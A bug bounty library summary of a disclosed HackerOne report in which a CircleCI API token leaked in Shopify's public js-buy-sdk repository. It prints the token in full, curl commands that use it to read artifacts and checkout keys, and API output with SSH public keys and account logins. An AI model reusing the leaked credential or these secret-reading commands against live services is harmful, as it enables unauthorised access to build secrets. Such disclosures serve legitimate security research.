# CircleCI token in github repo allows for access to sensitive build information

Hardcoded CircleCI API token in Shopify's public js-buy-sdk GitHub repo allowed reading build info, artifacts, checkout keys and env vars.

- Payout: hidden
- Severity: high
- Program: Shopify
- Found by: dwimmerlaik
- Disclosed: 2020-09-15
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/858915
- Library page: https://bugbountylibrary.com/r/h1%3A858915
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:high tech:github-actions technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** CircleCI API (v1.1) via leaked project token
**Root cause:** A CircleCI API token was committed into a public Shopify GitHub repository (js-buy-sdk), granting API access to the org's CircleCI projects.
**Steps:**
1. Find token `ca84774a88598f639b174d498c219163e04adbb2` in Shopify's js-buy-sdk GitHub repo
2. Confirm validity: `curl https://circleci.com/api/v1.1/me?circle-token=ca84774a88598f639b174d498c219163e04adbb2`
3. List build artifacts: `curl -H'Circle-Token: ca84774a88598f639b174d498c219163e04adbb2' https://circleci.com/api/v1.1/project/github/Shopify/js-buy-sdk/1200/artifacts`
4. Read checkout keys: `curl https://circleci.com/api/v1.1/project/github/Shopify/u2/checkout-key?circle-token=ca84774a88598f639b174d498c219163e04adbb2`
5. Observe env vars like `flowdock_api_token` in build/project info responses
**How found:** Researcher was browsing Shopify's public GitHub repos and spotted a CircleCI token string committed in the js-buy-sdk repo, then validated it against the CircleCI API.
**Exploitation:** With the leaked token, GET requests to CircleCI API v1.1 returned project/build metadata, artifacts, checkout SSH keys and environment variables (e.g. flowdock_api_token). POST actions (run/cancel builds, create/delete keys) were documented as possible but not tested.
**Escalation:** Exposed env vars and checkout keys could pivot into integrated services and repo access; artifacts stored in /tmp limited download window.
**Insight:** Grep public org GitHub repos for CI tokens (CircleCI `circle-token`, `CIRCLE_TOKEN`) — a single committed token often grants cross-project build metadata, env vars and deploy keys, not just one repo.

## Proof of concept (copied exactly from the original report)

**CircleCI token validation via /me endpoint**

```
curl https://circleci.com/api/v1.1/me?circle-token=ca84774a88598f639b174d498c219163e04adbb2` returns information about the user which confirms the token is valid.
```

**List build artifacts with leaked token**

```
curl -H'Circle-Token: ca84774a88598f639b174d498c219163e04adbb2' https://circleci.com/api/v1.1/project/github/Shopify/js-buy-sdk/1200/artifacts
[ {
  "path" : "/tmp/circle-junit.Thki57l/xunit/tests.xml",
  "pretty_path" : "$CIRCLE_TEST_REPORTS/xunit/tests.xml",
  "node_index" : 0,
  "url" : "https://1200-49018115-gh.circle-artifacts.com/0/tmp/circle-junit.Thki57l/xunit/tests.xml"
}, {
  "path" : "/tmp/circle-junit.97eTO3B/xunit/tests.xml",
  "pretty_path" : "$CIRCLE_TEST_REPORTS/xunit/tests.xml",
  "node_index" : 1,
  "url" : "https://1200-49018115-gh.circle-artifacts.com/1/tmp/circle-junit.97eTO3B/xunit/tests.xml"

curl -L -H'Circle-Token: ca84774a88598f639b174d498c219163e04adbb2' https://1200-49018115-gh.circle-artifacts.com/1/tmp/circle-junit.97eTO3B/xunit/tests.xml
This artifact is no longer available to download
```

**Checkout keys disclosure via token**

```
curl https://circleci.com/api/v1.1/project/github/Shopify/u2/checkout-key?circle-token=ca84774a88598f639b174d498c219163e04adbb2

[ {
  "public_key" : "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpvB3DfDKTHA7FoYR7GCDX4KzvNZuDoYH6cyLm2MGahYHXQXYhD/f+tUfrQadkt/fzkNElftncXSFj6kgzj2UeAhG1uQnAkA/neaUxhohdE21WwV4FH31hq30TgcJqFu4EN5nqaoaceY6MJvmtT/n1z3yGaJ/o3XgOwkY2GmiAvHBm6RdIlW0PX5t7elm4O9E6pDEo/6MwiuhtSQE3QPNMVM0w5ImRsSukiya8j7sgY5hco3a3Vo67dzM69+JiifgEutnC3Xv4x3bp1SS2Mww7wUGMgCaVtKMoQhSoqlft8mIWxCaIwdKXMyT8JmFmh16uBqKYWjJI+hj0ZS/sAox3 \n",
  "type" : "github-user-key",
  "fingerprint" : "b3:8c:e5:2f:fd:b8:f9:f1:4b:73:8f:fb:94:ed:6d:66",
  "login" : "shopify-dep",
  "preferred" : true,
  "time" : "2016-03-18T20:15:11.599Z"
}, {
  "public_key" : "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn5QuM7S1Rebg3A2P29L3fJL1vELVX2YKZEyZiIx4S9wnGQdsEq9AHZfUfhmG7ko+Yu8hU73nYEjhPozc4QWgjroAEtnnurCW4Ol/CEU7SYt0P5tv1sXweahNT0LiUY6nJcQMxYu2y4Zn4+F6gk80GIqk7sZKSOLXi58fZO99Gu4rx0YNDKyzmZMkXNlxnP6692Tkxap0ce9hbl3sABnuwB0/jqAnyvLKm8/Fp3jExZZnv2eipzaymJXwgRHthmqPpnkHoM8rft7FrlrEia9pZ0UrRcsXgOXz2eJuiKnbu9PNLXmxXtylzEsF9u+jghl+jHdo1rHxNkWI7OOLmVmE5 \n",
  "type" : "github-user-key",
  "fingerprint" : "52:aa:16:d3:5e:b1:c8:94:75:7a:90:93:0d:04:b5:a3",
  "login" : "sunblaze",
  "preferred" : false,
  "time" : "2015-11-02T18:00:32.192Z"
} ]
```